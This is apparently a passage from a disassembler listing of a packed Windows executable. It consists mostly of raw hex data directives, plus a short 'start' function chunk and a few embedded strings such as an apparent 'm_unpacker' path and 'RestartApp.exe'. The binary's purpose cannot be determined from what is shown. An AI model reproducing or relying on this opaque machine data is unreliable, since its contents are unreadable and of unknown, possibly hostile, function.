0CAD75100h, 8F2FE4C3h, 0A4603E4Eh dd 0F3640487h, 5A9B40E7h, 8617BF63h, 1019703Ah, 84C05840h dd 0C1A460A1h, 0E9F67E33h, 9A777101h, 86149674h, 8DDB618Eh dd 6E292BA1h, 0F5DDC40h, 0DDF1CB02h, 4428E0E8h, 0F01300B8h dd 0AA986E04h, 56E66B1Ch, 8F6187F9h, 454302BEh, 9AAD88D9h dd 57EC0386h, 52CB9640h, 80682939h, 53AE7FFBh, 60EDE2C4h dd 89A104E3h, 3B2A2B35h, 99007C68h, 53A0B2B4h, 0E255BB6h dd 72246B2Ch, 0FD17E260h, 0D3139F08h, 7A0AB89Ch, 7820D803h dd 42C6E000h, 213AC951h, 0A24A3E55h, 3E4C1A40h, 0B8E70037h dd 8AD8DB20h, 3A6100A1h, 7EAD654Bh, 1C00930Dh, 0A3C93301h dd 0E3D26430h, 0EA204C50h, 0E4FA07A5h, 0D049C204h, 2E664722h dd 80253B3Ch, 0DDC9E6BAh, 0B04375D3h, 7AE70E6Ch, 7B8263B8h dd 4C3969Fh, 2823A1B8h dd 427E4816h, 0E999B005h, 8E8C5440h, 14C6BC1h, 3EE7D869h dd 0C856EF38h, 870B3B94h, 3B6A19Fh, 0F30978h, 7059BBF0h dd 54DA337Fh, 0B7320400h, 86559396h, 80F099D9h, 0F7E08C8Eh dd 57EC279Bh, 0CF59900h, 0FCDEA03Ah, 84225839h, 30340216h dd 0BFE71FA4h, 2C7DF17Dh, 0FAB9E800h, 0DB6F4D0Ah, 0B81D486Eh dd 91A5D09h, 0E0172301h, 7A343230h, 1F329F48h, 2A14777Dh dd 5E7F040Ch, 0D0817A1Ch, 7EE5F768h, 0A9001072h, 13D6E70Dh dd 1D260903h, 840F106Ch, 0C05900CCh, 50926E4Eh, 39745041h dd 0A1000751h, 6B49BBE2h, 2501CB26h, 0B3286450h, 0CC62F9E0h dd 0A5DC850Ch, 590F2239h, 0B54A117Fh, 0E7D100BCh, 0CCE25CECh dd 38C7B089h, 4B823271h, 0F781227Ch, 10A850C1h, 1E0A7F30h dd 940190CBh, 0A40B8471h, 64247250h, 8CF540E0h, 5DE562h dd 4ED11059h, 0C0C33D9Eh, 40F43716h, 1D75CC20h, 0D8811F31h dd 71E74299h, 0C4400F3Eh, 0C86051C6h, 0A489C4FCh, 3CB111h dd 45D93739h, 9200A79Eh, 43485DEAh, 1235CCh, 0D72CA16Dh dd 0A08459DEh, 38289091h, 7056410Bh, 0D01D8A1Fh, 0B044D180h dd 5D5A6EFh, 0F6155224h, 0DAC501FFh, 48DF84D2h, 893E779Ch dd 7C044C34h, 800009FFh, 3B658CDh, 9B7A90Fh, 2808C020h dd 8055AA75h, 0ABDE2A71h, 5A008DA5h, 9F6D1108h, 0D7FD7Bh dd 0C799D12Bh, 1F566E09h, 0B682F899h, 20AA4A15h, 0FBD97D1Eh dd 2196900h, 10E93B25h, 84FC0CCCh, 4B91E2C7h, 6DAB18A0h dd 0DBF3500h, 0AF5B0430h, 0D05209D6h, 9848CBE1h, 0F87753F3h dd 0AB683800h, 9CD27135h, 4ADB1846h, 57E549A7h, 0DFE7FF00h dd 679D559Ah, 0E041525Dh, 0A14017Bh, 0AA6A2C86h, 3859935Eh dd 0CAFA9100h, 34E7ACFh, 9D834EBh, 26A82F3Eh, 4D0BFC9Fh dd 1F21AFh, 3383271Eh, 0EB9E072Eh, 0A03A7F7Bh, 0FE8D478Ah dd 0FD7EE2F8h, 271CBC00h, 0D42AD64Fh, 0FB4A00C9h, 3E138A4Bh dd 80FFB623h, 0CF754F48h, 18CC2E62h, 6154208Bh, 2B1D16BEh dd 19807249h, 48F5B1C2h, 135E00E7h, 392658D1h, 0B67FF69Dh dd 791549C0h, 2A5ADAD2h, 3A304A2Ah, 0FEF39Ah, 352CA022h dd 60210F86h, 0B2B169C0h, 0AAB8DCh, 48C4A922h, 6BDAA8BBh dd 37D48806h, 30490E9Dh, 66D11DBEh, 360EA1C4h, 0E0DDA9FDh dd 862172C0h, 900E3BDFh, 8181129Eh, 0B717E822h, 9941801Eh dd 74E17C5Ch, 0DA500C48h, 0AF5138BCh, 60845601h, 862DE318h dd 0C01D20E4h, 8F45EAA1h, 3372296Fh, 8D00667Eh, 0DFA1B3CFh dd 1EA6A9D8h, 9F10C265h, 0E08640C0h, 5AA311E1h, 343541C0h dd 7FA54CC7h, 220600DAh, 468BD333h, 81DC15A8h, 0B0350287h dd 0FDD0890h, 95A300E6h, 4520B570h, 6A7FFC42h, 90604FB8h dd 0CC8C3C50h, 1C00122h, 0C295D4CFh, 248143A0h, 850E507Bh dd 60066187h, 38FB6B35h, 0B0406353h, 0F2D1FD45h, 9C8BC474h dd 5E12BF1Eh, 0F8C03977h, 0E0E2369h, 80C5852Eh, 65E0ADE0h dd 0EA3E494Ah, 8C468EB7h, 0D84DA0C2h, 60182F2h, 0A11C884Fh dd 5E30D10Bh, 54E45139h, 0B9100081h, 0ED3B6DC7h, 4A006443h dd 0BCBEA4F9h, 30881C89h, 1030286Fh, 9CA86BBFh, 0DCA924B7h dd 1D72F8A4h, 0E8E42916h, 8A90BE00h, 55321h, 0B36C3512h dd 0A676CE2Ch, 24002E7Ch, 0AACFF39Fh, 3B0A811h, 3D09AD51h dd 0A10017BBh, 7BC02F91h, 784EF8h, 1A7F87AFh, 9BB6326Bh dd 0D0CECF37h, 574007B4h, 0D734DF10h, 0A9E47473h, 861F2EF0h dd 0C3AD4CBh, 0B96220D0h, 0F30006Ah, 5C1182Ch, 0D304D8BFh dd 5194634Bh, 23670C82h, 0E1000DB6h, 1FA8CAA2h, 3D33C20Eh dd 9B13C8C7h, 0C05F1E91h, 0ACBD656Eh, 81540647h, 0F8A10194h dd 6022BBh, 1FD87C37h, 0F82FB8E3h, 0AE19C016h, 0DCBE976Ah dd 0CEB7550Eh, 5601DF31h, 0CFE8834Bh, 12B1B70h, 0E079A313h dd 0EC89ADABh, 2148F2D1h, 3F78E60h, 0D1A1ECFEh, 81802584h dd 0AA9CE85h, 6F002FDDh, 1817F2DEh, 182EB234h, 29D1BB22h dd 0E091CE3Eh, 10A23Dh, 0C78C3BC0h, 41231798h, 9FA80A00h dd 1C48619Dh, 0E962619Eh, 4964C010h, 4D20DE98h, 1ED02DC7h dd 4214C3h, 6BC56C39h, 0B403FACCh, 218527AEh, 4F390069h dd 511943Bh, 130162F2h, 22B6FFAFh, 0C5F882F7h, 87F301BEh dd 2F4D85DFh, 0B5D88271h, 403D0CCBh, 1353A598h, 25D4385Bh dd 2EC40524h, 0F00800B6h, 180A5C46h, 0BE58E13Fh, 1516826Ch dd 0A0265F32h, 596D4784h, 353704B9h, 80481996h, 0D7C224E4h dd 26EE3900h, 0BFF9A053h, 6BD500E8h, 0CCA6CE86h, 2160B6D0h dd 8999EA69h, 5E690083h, 447D4D7Bh, 8800BCC3h, 9547B5E7h dd 1881DE96h, 10BBD849h, 43E074DAh, 87865702h, 0C011C253h dd 2485365Ah, 4120991Ch, 504EAA10h, 0E8064698h, 93082D63h dd 20C1292Fh, 0A42100A8h, 7BB14E5Ah, 0CF4A7300h, 0C0DCABFAh dd 162B0002h, 0E3CC0F98h, 4E480A80h, 0F56500C0h, 68C1CE5Dh dd 25EF0C2Fh, 7B593A5Fh, 5446A00h, 566C9E70h, 0D51400EAh dd 3E67D4E6h, 28016B54h, 5B168739h, 0B030ACFCh, 0B5CCA0C5h dd 22351843h, 3E25991Ch, 4AFF5C0Fh, 5AD60F4h, 0A34503h dd 0F0C898C2h, 0B191F113h, 58888D01h, 42690822h, 6DC2B441h dd 0D4D82FC9h, 702E6315h, 5E89D091h, 4BA98134h, 925B6CC3h dd 5A4DFB40h, 0BB9A00F7h, 0AE069E2Bh, 5202908Ah, 22311048h dd 2944C87h, 0E12B94BAh, 8443F75h, 0AC7B9501h, 52459779h dd 0F594D840h, 46E63B86h, 4D80DC58h, 0B80C3C16h, 0FF12F400h dd 95352BDDh, 2CF00678h, 512A9022h, 0B87FC230h, 7B9A502h dd 0B08C37A6h, 7A214C5Eh, 414CE200h, 4D6C662Dh, 2E94005Bh dd 842FA297h, 64EE0D1Fh, 300026B8h, 7712CD39h, 5421A6F6h dd 9BFB063h, 0F5CBA399h, 408C3207h, 0B6C80EA1h, 501249h dd 97D68AFDh, 51140Ah, 928672F7h, 0D2E2758Dh, 4640B300h dd 0A75391ACh, 504EE631h, 1B505Fh, 80DDB645h, 0E5627C61h dd 9AB0894Eh, 11F80787h, 613C5EEEh, 63086609h, 3DE03D58h dd 0D93000A8h, 7361042Bh, 0C07CFBh, 0E9141178h, 0F1417787h dd 2C768E01h, 0BE222533h, 2EFC9C49h, 90FE64Ch, 62FCF7A3h dd 522CCC01h, 8FF42066h, 1224898h, 70A52227h, 6B722h, 0A0141364h dd 0CAC57B65h, 0FB6EFD00h, 2A3A8C03h, 7098385Ch, 0AD31F504h dd 19ACC820h, 25B7B07h, 0A4D0A041h, 4877355Dh, 5607D010h dd 49AB469Dh, 0A1C97800h, 53B8ACBBh, 0B98ECC91h, 75027F5h dd 1CF89D40h, 0FCDC5069h, 0EFC13AC8h, 4070E118h, 0A7341175h dd 0F4803959h, 308EED8h, 1ACFA662h, 0E1003BBEh, 42F6088h dd 0C061217Bh, 6DD00931h, 0A4002032h, 0BA4F520Dh, 292F89ACh dd 12A49D22h, 0B8480A75h, 154C5ACh, 81C54EDEh, 37FC7024h dd 1940E0E2h, 0CE33004Fh, 5F13FF14h, 634825DAh, 51440584h dd 0C41FCCE8h, 80EB3A8Bh, 0AB2F1AE4h, 5DBB09A7h, 0B010B821h dd 4507F4F0h, 75CF647Dh, 0F97080BBh, 3284B7C1h, 1E70A402h dd 4C305621h, 0F6005823h, 6446EC10h, 0DF008681h, 0FFE8E2BCh dd 5FC6B29h, 0C2163CEDh, 0F7A88CACh, 0B7C9B61Dh, 6D9C7740h dd 0E2A809C4h, 48A900DFh, 6BE72BEEh, 5E004119h, 0CB759287h dd 0C5F5665h, 14BC2468h, 1D777F49h, 44C87200h, 0DA9CA025h dd 31EB00D5h, 0D7C14A9Eh, 6B0430E1h, 48CBE09Bh, 491478C7h dd 25572082h, 583BC0F9h, 61024ABDh, 0C5711CEAh, 2CE687h dd 0DDF554C8h dd 0E499DC6Ah, 0B5CB3E00h, 68938E1Dh, 0E98C05BEh, 0C88A1CC9h dd 0C600F174h, 6FC0AEE0h, 1E64CBA1h, 8072352Ch, 19BFCF29h dd 6B885A20h, 32F100CDh, 8E87D7C4h, 3813DA35h, 44004A0Ch dd 0F478221Eh, 44A090ADh, 7F182906h, 0B8D0AAE0h, 218E110Bh dd 113D0955h, 0D9EF03F5h, 0A0C88C3Fh, 96D73B32h, 9C99ECBCh dd 23C9E8F4h, 22A00384h, 0D1BA989Bh, 39943887h, 0A700101Fh dd 89D21C79h, 0B099795h, 0A0AC214Ah, 0E15E7BFCh, 3E3F37AFh dd 0E15A039h, 6E007764h, 0A8EC813Dh, 98C6B509h, 8EE8061Ch dd 0D10ABC2Fh, 85759A00h, 8DF03981h, 1E2904EEh, 809BB911h dd 2B9949E7h, 0EFC0F5Ch, 4C535ED6h, 0E66941h, 7CE5FB9Fh dd 11A7C09Eh, 384A252Ch, 0C0802363h, 0CCDBCh, 0B0F239A3h dd 112D9855h, 0F1A4891Dh, 87ACEB80h, 0C016BC27h, 0BB250591h dd 7100FF9Eh, 0F25A5761h, 41E7002h, 9DB2A726h, 0C9C4821Ah dd 120090E6h, 0F5163F2h, 0E21CA647h, 0DF320FCEh, 6C0258FDh dd 0C0603348h, 9C9921B0h, 855DC280h, 1FA7A9F8h, 0E110964h dd 0E142576Fh, 0B080A177h, 0B6C62875h, 1481F49h, 0F892F16Dh dd 0EB5E5Ah, 0CB3DDA49h, 53CF07CAh, 0FA67EE06h, 4407092h dd 2E4090E3h, 0FDB4B0F6h, 0E7F223Eh, 80B549C5h, 5C29D2CAh dd 4038964Ch, 0D996C89Ah, 10E59700h, 1D60F371h, 4C3AE085h dd 0E8497103h, 2E6FF480h, 7E02CCF5h, 3E0E3A75h, 3C5882E2h dd 5624E0C0h, 3C6748C4h, 0FEEF0D01h, 0D8D74572h, 204C5703h dd 0E2C28094h, 0EA234E8Fh, 0C5601D4h, 19F2D8A6h, 300BC5A0h dd 0CC012D68h, 309C5347h, 8C229F1Ch, 888A2E12h, 587E3170h dd 3006B71h, 947F1FC3h, 780C0E8Dh, 877B0076h, 6357EE95h dd 0B730D052h, 0D9243908h, 0E2110030h, 76A104AEh, 56672154h dd 0A010B0A1h, 7075250h, 0F6F8E8B2h, 828FD487h, 20C0AEEDh dd 0E33037C6h, 0A6AF51B4h, 80989973h, 0A7CBDE49h, 1290137Eh dd 0FBBE1600h, 0CD4770B3h, 0BD35011Bh, 2548A7Ah, 0FE984289h dd 0DA00A471h, 0AEC94DCFh, 0F78E00A6h, 1F37CBD1h, 90926079h dd 0F1D85100h, 0F38759C0h, 0ABFFED0h, 99B1C68h, 8090A994h dd 6731E62Ah, 5C00DAACh, 9D3B9A2Fh, 136D0ADh, 0A5D22375h dd 2D2155A9h, 2F1D00CCh, 4C709EC3h, 7C560184h, 7F8ECDB7h dd 0A830204Bh, 82B88839h, 374857A5h, 0EF8519Dh, 6FA002C0h dd 1DD5385Ah, 587019C1h, 0A8703516h, 1CC5254h, 60FBFFFFh dd 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_583441: ; CODE XREF: start:loc_515265j ; DATA XREF: start:loc_515086o jmp loc_58698A ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 9C52h dd 7F20h, 12h dup(0) dd 0EB940000h, 59377C90h, 0B8h, 0EB940000h, 7C90h, 0 dd 0BC170000h, 0FFFEh, 8EE40000h, 0B1h, 0FFFF0000h, 0FFF6h dd 0 dd 0FFB00000h, 1D2h, 2 dup(0) dd 0EB940000h, 7C90h, 7 dup(0) dd 0C00000h, 6 dup(0) dd 48770000h, 3876h, 2 dup(0) dd 0B6110000h, 0DF13h, 0 dd 8D8D0000h, 66FDh, 9D60000h, 0BBh, 0 dd 0DFD20000h, 60h, 2 dup(0) dd 4F2E0000h, 5Ch, 10000h, 4 dup(0) dd 78280000h, 5Fh, 2 dup(0) dd 0A2400000h, 146CFFFFh, 836Fh, 3 dup(0) dd 0F4AE0000h, 0FFA3h, 9F350000h, 5139h, 0 dd 0ED9A0000h, 5Bh, 3 dup(0) dd 30930000h, 0B19Dh, 3 dup(0) dd 7240000h, 0ABE90000h, 0FF44h, 5190000h, 43BBh, 290000h dd 2 dup(0) dd 625E0000h, 53B1h, 0 dd 4FE60000h, 0E892h, 5 dup(0) dd 53AA0000h, 843Ah, 0 dd 0A3D40000h, 0AFCBh, 4 dup(0) dd 0A210026Dh, 3442h, 0BA750000h, 79E07A1h, 0FFFFh, 9C740000h dd 7C80h, 27h dup(0) dd 64B90000h, 837Fh, 2 dup(0) dd 42FD0000h, 0ED9A005Fh, 5Bh, 0D8DE0000h, 5Ch, 2 dup(0) dd 57D50000h, 3F0F7ED3h, 0B7h, 7 dup(0) dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 7Ch dup(0) dd 7D080000h, 5Bh, 0F62A7E41h, 0FF44h, 9D730000h, 557Ch dd 4 dup(0) dd 10000h, 3 dup(0) dd 0CA3E0000h, 69A9h, 2 dup(0) dd 0FFFF0000h, 0FFFFh, 9D60000h, 0BBh, 96A0000h, 5Bh, 0C8680000h dd 5Ch, 0 dd 4E6E0000h, 58h, 0D6A0000h, 5Bh, 0 dd 0B80000h, 0B000000h, 0C20374C0h, 448B0018h, 0E8530C24h dd 0 dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0B1FA37B8h dd 8BE0FF00h, 0FF042444h, 0E0h, 12h dup(0) dd 942E0000h, 5Ch, 3 dup(0) dd 6F100000h, 25Ch, 253h, 8 dup(0) dd 0EB900000h, 8 dup(0) dd 180F0000h, 0B1h, 0E2900000h, 0A944h, 2 dup(0) dd 0F39A0000h, 6 dup(0) dd 56430000h, 10h dup(0) dd 30DF0000h, 0A9C5h, 0 dd 28780000h, 0B4h, 6 dup(0) dd 7D10000h, 0D9000000h, 1702h, 0Ah dup(0) dd 22C60000h, 5Ch, 0Bh dup(0) dd 0E9090000h, 0FFBBh, 4 dup(0) dd 91BB0000h, 17Fh, 3 dup(0) dd 0BDDF0000h, 66FDh, 4 dup(0) dd 6EB20000h, 0E81B005Bh, 0EB947D42h, 65527C90h, 72617473h dd 70704174h, 6578652Eh, 56510000h, 2 dup(0) dd 26Dh, 3 dup(0) dd 0BA750000h, 7A1h, 6 dup(0) dd 0C41B0000h, 77DFh, 3D5F0000h, 5Eh, 5 dup(0) dd 2CFA0000h, 0BE04h, 2D8A0000h, 5Fh, 3 dup(0) dd 90000000h, 21h, 11h dup(0) dd 7C80h, 2 dup(0) dd 0CFE20000h, 0FE9Dh, 3 dup(0) dd 11DA0000h, 7C81h, 30440000h, 67h dup(0) dd 0DCE80000h, 0AEA1DDAEh, 0B1h, 8 dup(0) dd 0FA030000h, 0B1h, 3 dup(0) dd 0EB940000h, 7C90h, 3 dup(0) aVJ db '╢v<╕]',0 db 'ж╣',0 align 10h dd 3 dup(0) dd 93FE0000h, 0FF7DFFFFh, 75B507E1h, 2 dup(0) dd 87230000h, 0B1h, 77DDh, 4 dup(0) dd 0F9C0000h, 40000h, 56430000h, 0 dd 0B6C80000h, 60h, 0FFFF0000h, 0FFFFh, 0 dd 230000h, 5Ch, 3 dup(0) dd 342D0000h, 0C2h, 0Dh dup(0) dd 14F40000h, 8E517C82h, 0B1h, 4 dup(0) dd 0CBD30000h, 0FF3Dh, 9 dup(0) dd 6E0F0000h, 25Ch, 0 dd 6DAB0000h, 7F09h, 0F0000000h, 4, 2Bh dup(0) dd 0DA440000h, 4 dup(0) dd 13970000h, 0EA61h, 4 dup(0) dd 58090000h, 5Fh, 0F1130000h, 52B1h, 0 dd 16010000h, 87F4h, 4 dup(0) dd 0A9E50000h, 0C01Dh, 1A400000h, 0B1h, 3 dup(0) dd 0B520000h, 5Ch, 0B4CF0000h, 7C80h, 0DA440000h, 0C246h dd 2 dup(0) dd 0F9200000h, 7CEDh, 0EE180000h, 7C7C90h, 0FFFF0000h dd 0FFFFh, 0 dd 0EB940000h, 7C90h, 0 dd 62DF0000h, 2EC0000h, 8 dup(0) dd 0B4FE0000h, 339A748Dh, 5Fh, 24900000h, 8 dup(0) dd 0D9750000h, 771Fh, 5 dup(0) dd 0DFE40000h, 0A8ADFFA3h, 35CA7E41h, 0FFA3h, 0Dh dup(0) dd 0EAA20000h, 5Dh, 10000h, 0 dd 35C50000h, 0E72FFA3h, 5Bh, 8D8D0000h, 85EDh, 49E00000h dd 5Fh, 0 dd 57520000h, 0C96A005Bh, 60h, 6 dup(0) dd 342D0000h, 0C2h, 4 dup(0) dd 0A00000h, 3 dup(0) dd 0EB940000h, 7C90h, 0 dd 0FFFF0000h, 0FFE00000h, 12h, 52C90000h, 61h, 9D60000h dd 0BBh, 0B4F10000h, 0EB38005Fh, 5Dh, 2 dup(0) dd 0CDDA0000h, 7C81h, 34C20000h, 5Fh, 5 dup(0) dd 0A1260000h, 5Bh, 0 dd 0A40000h, 0EB940000h, 7C90h, 2 dup(0) dd 0D59C0000h, 0F3B1h, 31E50000h, 0B7h, 0Dh dup(0) dd 56430000h, 8 dup(0) dd 0FE800000h, 12h, 1A440000h, 0EB9400B1h, 7C90h, 0Ah dup(0) dd 630A0000h, 0F2h, 1A240000h, 7C80h, 7 dup(0) dd 0FF7D0000h, 7E1h, 6 dup(0) dd 10000h, 8 dup(0) dd 0EB940000h, 18420012h, 0B1h, 0Ah dup(0) dd 190000h, 4 dup(0) dd 0EB940000h, 0B8177C90h, 0FFFFh, 2 dup(0) dd 5190000h, 43BBh, 6E00000h, 0A14E8312h, 5Bh, 3 dup(0) dd 9D60000h, 0BBh, 18A37C80h, 2335h, 1A400000h, 4E5B00B1h dd 76B4h, 2 dup(0) dd 0FA370000h, 0B1h, 2 dup(0) dd 81C30000h, 1FEDh, 2 dup(0) dd 0FE7C0000h, 12h, 3 dup(0) dd 15100000h, 76F2h, 5 dup(0) dd 180F0000h, 0B1h, 3 dup(0) dd 4DF00000h, 961Fh, 3 dup(0) dd 880000h, 5 dup(0) dd 0A390000h, 0FFBFh, 50140000h, 0EB940011h, 7C90h, 8 dup(0) dd 9D60000h, 0BBh, 0EB940000h, 0F87C90h, 0B7h, 4 dup(0) dd 10000h, 0F3E40000h, 0DDBAh, 7 dup(0) dd 57A20000h, 0AC2505h, 2A09FFEDh, 7C81h, 9Bh dup(0) dd 0FA030000h, 0B1h, 2 dup(0) dd 9DA20000h, 83AC4Eh, 0F81Eh, 0 dd 5FD0000h, 0FF4Eh, 342D0000h, 0C2h, 3 dup(0) dd 77760000h, 0FF7D0058h, 62DF07E1h, 2 dup(0) dd 0EB940000h, 56C7C90h, 0FE96h, 4 dup(0) dd 40h, 2 dup(0) dd 0B5C30000h, 0CCD0FF44h, 3FC0h, 0 dd 8D8D0000h, 0CE66FDh, 6 dup(0) dd 91780000h, 0B6h, 3 dup(0) dd 14900000h, 51E0h, 3 dup(0) dd 1840000h, 0FFEDh, 3 dup(0) dd 0AFE80000h, 5Fh, 0 dd 2D390000h, 3403h, 620000h, 0 dd 9EA50000h, 5Bh, 0 dd 3700000h, 0DA390000h, 7 dup(0) dd 0A06F0000h, 0B402h, 6 dup(0) dd 7170000h, 0FE95h, 6 dup(0) dd 0B177026Fh, 77h, 0ED9A0000h, 5Bh, 3 dup(0) dd 21210000h, 2121h, 5 dup(0) dd 146C0000h, 836Fh, 0 dd 9D60000h, 0BBh, 5 dup(0) dd 7E10000h, 3D170060h, 0E840058h, 2 dup(0) dd 4B80000h, 21EDCDA3h, 5Fh, 0 dd 9D60000h, 0BBh, 3 dup(0) dd 0AFD90000h, 0ACCD43FFh, 0C31h, 0 dd 8D8D0000h, 24ADh, 0 dd 180F0000h, 0B1h, 0A8AD0000h, 5CE77E41h, 0 dd 0CBD30000h, 78FFFFh, 0 dd 2C0000h, 253h, 0AC680000h, 0C9F411E9h, 5Eh, 6 dup(0) dd 700000h, 0 dd 6C5B0000h, 0E7076F3h, 64B0005Dh, 0 dd 0EB940000h, 7C90h, 2 dup(0) dd 5DFC0000h, 9FE2h, 3E0000h, 0B1h, 0 dd 30440000h, 680000h, 0 dd 0F7DB0000h, 0CCD351E5h, 8182h, 0 dd 1E950000h, 78Ah, 4 dup(0) dd 9D60000h, 0BBh, 4 dup(0) dd 3C0000h, 7C80h, 0EB940000h, 7C90h, 3 dup(0) dd 97EE0000h, 14AEh, 0Ah dup(0) dd 230Eh, 26Ch, 2 dup(0) dd 68E40000h, 94172A22h, 0B1h, 5 dup(0) dd 0F8930000h, 79DCh, 4 dup(0) dd 57CF0000h, 3D161739h, 58h, 0C6750000h, 5Dh, 0 dd 0B520000h, 5Ch, 0 dd 1D660000h, 0B18Dh, 2 dup(0) dd 486A0000h, 23C6h, 3 dup(0) dd 0B7E90000h, 10h, 0FF7D0000h, 7E1h, 0 dd 10000h, 0EB940000h, 7C90h, 2 dup(0) dd 92B00000h, 0FFFFh, 3 dup(0) dd 17ED0000h, 0BA1742B5h, 0FFFFh, 29D90000h, 1A7Ch, 0 dd 9E600000h, 180E7C80h, 9BBD7C80h, 5Dh, 2 dup(0) dd 0FA260000h, 6607h, 0 dd 0E8140000h, 5Ch, 0AA480000h, 0F3E6h, 0CA3E0000h, 0C4E169A9h dd 0F1F4h, 3 dup(0) dd 40000h, 0C43B0000h, 4618h, 2 dup(0) dd 4AF20000h, 0BD227C81h, 0FFA7h, 2 dup(0) dd 8010000h, 8B0D840Fh, 0B4h, 3 dup(0) dd 0B5D60000h, 10000h, 772A0000h, 82B6h, 0B8h dup(0) dd 0FF170000h, 0FFFBh, 3 dup(0) dd 9F350000h, 5139h, 0B0EF0000h, 0BB66EC79h, 0FBDEh, 5 dup(0) dd 0FFFF0000h, 0FFFFh, 40760000h, 710h, 0BF790000h, 9C69h dd 2 dup(0) dd 35DA0000h, 58h, 7 dup(0) dd 0EB940000h, 20007C90h, 11h, 2 dup(0) dd 39580000h, 77Bh, 0 dd 0CF310000h, 0EB19h, 2 dup(0) dd 0B5080000h, 0B1h, 3 dup(0) dd 4BA80000h, 14h, 0B520000h, 1CF7005Ch, 4B1A00B4h, 0EB94E8FAh dd 0B06D7C90h, 5Bh, 3 dup(0) dd 69BB0000h, 0F1E17C91h, 60h, 2 dup(0) dd 0DDF90000h, 7C90h, 0 dd 200A0000h, 5Dh, 55BE0000h, 6 dup(0) dd 6F100000h, 25Ch, 0 dd 0B520000h, 5Ch, 2D3F0000h, 830Eh, 9F260000h, 7347h dd 11h dup(0) dd 2130000h, 6DD400B7h, 25Ch, 0 dd 5ADF0000h, 1E69546Bh, 0B7h, 0Eh dup(0) dd 0FFF00000h, 12h, 5 dup(0) dd 20E60000h, 5Fh, 73730000h, 58h, 0F50C0000h, 0FFA3h dd 6 dup(0) dd 26Eh, 230000h, 0BEFF0000h, 3 dup(0) dd 0EF260000h, 0A5C400B8h, 0FFF6h, 2 dup(0) dd 59740000h, 8655h, 4 dup(0) dd 230000h, 5Ch, 0 dd 0EB940000h, 7C90h, 4 dup(0) dd 0C7710000h, 76CFh, 2 dup(0) dd 9C0000h, 2D390000h, 3403h, 3 dup(0) dd 216B0000h, 668Fh, 12h dup(0) dd 0F8900000h, 5Ch, 0 dd 78830000h, 0D43577DDh, 0C9ABh, 4C890000h, 0C993h, 0 dd 0D2870000h, 0A7h, 0 dd 0B57A0000h, 3F93h, 9C5200C1h, 0DAF47F20h, 1DA8h, 0FFFF0000h dd 6DF3h, 3 dup(0) dd 0B66E0000h, 7F3Fh, 30DF0000h, 0A9C5h, 2C4E0000h, 4B94h dd 97860000h, 9BBh, 2 dup(0) dd 0EB940000h, 7C90h, 5 dup(0) dd 4FE60000h, 6854E892h, 64696D65h, 61h, 1Bh dup(0) dd 30DF0000h, 0A9C5h, 2 dup(0) dd 0EBE70000h, 0C47E77DDh, 15EDh, 0Eh dup(0) dd 2EC0000h, 5 dup(0) dd 0A770000h, 7C81h, 3 dup(0) dd 0B23000B1h, 0FDECh, 2 dup(0) dd 5D740000h, 0FFFFh, 7 dup(0) dd 0F4F50000h, 0E95Ah, 0Ch dup(0) dd 0EB940000h, 7C90h, 0Dh dup(0) dd 9D60000h, 91EC00BBh, 90FFFFh, 0 dd 10000h, 3 dup(0) dd 6E0F0000h, 9CF6025Ch, 0FF0Dh, 0 dd 0FF540000h, 12h, 2 dup(0) dd 342D0000h, 0C2h, 7 dup(0) dd 0DA440000h, 35DAC246h, 9B470058h, 7C80h, 0 dd 45D20000h, 0FFA1h, 3 dup(0) dd offset dword_4E8EAC+17154h dd 0FE6Dh, 0 dd 20000000h, 2 dup(0) dd 0D31F0000h, 0EB940000h, 7C90h, 7 dup(0) dd 4FE60000h, 0C070h, 4 dup(0) dd 6EF00000h, 25Ch, 9 dup(0) dd 88400000h, 0A5CBh, 0FCAD24ADh, 0B3h, 7 dup(0) dd 0A6h, 2 dup(0) dd 9B3E0000h, 5Dh, 0EB940000h, 7C90h, 0 dd 180F0000h, 0B1h, 0DE230000h, 70CBh, 2 dup(0) dd 10000000h, 40h, 0 dd 2CCE0000h, 4B94h, 0Bh dup(0) dd 0ED00000h, 0B1h, 5 dup(0) dd 1050000h, 0A28h, 0AAC90000h, 0CFB2h, 6D330000h, 5Bh dd 4 dup(0) dd 9D60000h, 0BBh, 6BF00000h, 77DDh, 4 dup(0) dd 61180000h, 5Ch, 0 dd 22C60000h, 5Ch, 0Ch dup(0) dd 5B710000h, 10AFh, 49B00000h, 0FF9Fh, 0 dd 146C0000h, 836Fh, 3 dup(0) dd 0C680000h, 0F489h, 0Ah dup(0) dd 375C0000h, 0CCF80017h, 5Fh, 3 dup(0) dd 65C60000h, 6143h, 2 dup(0) dd 0FB060000h, 0FFA4414Fh, 56DE0012h, 0EDE5005Ch, 77DDh dd 3 dup(0) dd 980000h, 4 dup(0) dd 30000000h, 51h, 0Ch dup(0) dd 0EB940000h, 7C90h, 0DA440000h, 3A1DC246h, 558B7C19h dd 5Fh, 3 dup(0) dd 0AAA10000h, 0B1h, 0 dd 0EB940000h, 7C90h, 5 dup(0) dd 0E2020000h, 158Bh, 77000000h, 0 dd 8FAC0000h, 0FFFFh, 9 dup(0) dd 0BB4E0000h, 80005Ch, 8 dup(0) dd 6F230000h, 58h, 0Dh dup(0) dd 30DF0000h, 1A9C5h, 7 dup(0) dd 0EA280000h, 5Ch, 7 dup(0) dd 28D80000h, 6DEh, 3F580000h, 342D7C86h, 8 dup(0) dd 0EE5A0000h, 806677DDh, 4 dup(0) dd 306C0000h, 0Dh, 8D8D0000h, 0FFFF005Fh, 0FFFFh, 41330000h dd 1A63h, 0 dd 0AC0000h, 0FFEDh, 0A8700000h, 5Fh, 0Bh dup(0) dd 36290000h, 0CC39h, 0 dd 41810000h, 929Bh, 0 dd 80660000h, 3 dup(0) dd 834F0000h, 0DCE9h, 2 dup(0) dd 261C0000h, 6 dup(0) dd 35ED0000h, 0FFE3h, 8 dup(0) dd 9D60000h, 0BBh, 0 dd 25FD0000h, 6 dup(0) dd 24930000h, 0B2h, 0Dh dup(0) dd 9C3E0000h, 8B32005Dh, 0B4h, 4 dup(0) dd 29180000h, 0B1h, 0D4570000h, 1E68h, 0FFB00000h, 180E0222h dd 7C80h, 2 dup(0) dd 0B350000h, 1210h, 6 dup(0) dd 79770000h, 1, 2 dup(0) dd 0B520000h, 5Ch, 0 dd 3E0000h, 0B1h, 4 dup(0) dd 37EC0000h, 0B1h, 4 dup(0) dd 